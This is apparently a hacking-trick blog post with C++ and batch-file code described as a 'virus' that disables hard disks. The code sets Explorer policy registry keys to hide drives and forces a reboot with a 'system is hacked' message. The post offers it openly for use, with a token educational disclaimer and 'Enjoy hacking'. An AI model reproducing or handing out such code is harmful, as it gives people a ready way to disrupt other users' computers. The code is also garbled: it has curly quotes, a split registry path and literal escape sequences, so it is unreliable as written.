How To Create a Virus That Disable All Hard Disks

0
27
create virus that disable hard disks

In this post i will taught you How To Create a Virus That Disable All Hard Disks. This trick will disable all the hard disks of your computer using C++ as well as batch file. Firstly I will give you a c++ program. As everyone isn’t aware of how to run C++ program. So for them I will give the same program in batch file. Copy the code in notepad.Save it as virus.bat.Run the batch file.Basic concept is same. Learn The tutorial How To Create a Virus That Disable All Hard Disks.

How To Create a Virus That Disable All Hard Disks

create virus that disable hard disks

Create Virus That Disables Hard Disks

WARNING: RUN AT YOUR OWN RISK.
Using C++
1. Open any c++ editor.
2. Copy and paste the following code.
#include < windows.h > #include < fstream.h > #include < iostream.h > #include < string.h > #include < conio.h >int main() { ofstream write ( “C:\\WINDOWS\\system32\\DisableHDD.bat” ); /*opening or creating new file with .bat extension*/ write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”;
write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”;
 write<<“shutdown -r -c \”Sorry Your System is hacked by us!\” -f”<<“\n”;
write.close(); //close file
 ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\DisableHDD.bat”,NULL,NULL,SW_SHOWNORMAL);
return 0;
}
3. Compile and run the program.
BATCH FILE VERSION:-
Below batch file or links contains the code that performs the similar job.
1. Open a notepad.
2. Copy and paste the following code.

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\nREG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\nshutdown -r -c \”! Your system is hacked by THT!\” -f3. Save it as “DisableHDD.bat”.

4. Double click the batch file to activate the virus.
WARNING: For educational purpose only. Run the virus at YOUR OWN RISK.
Enjoy hacking.
So above post is on How To Create a virus that disable all hard disks.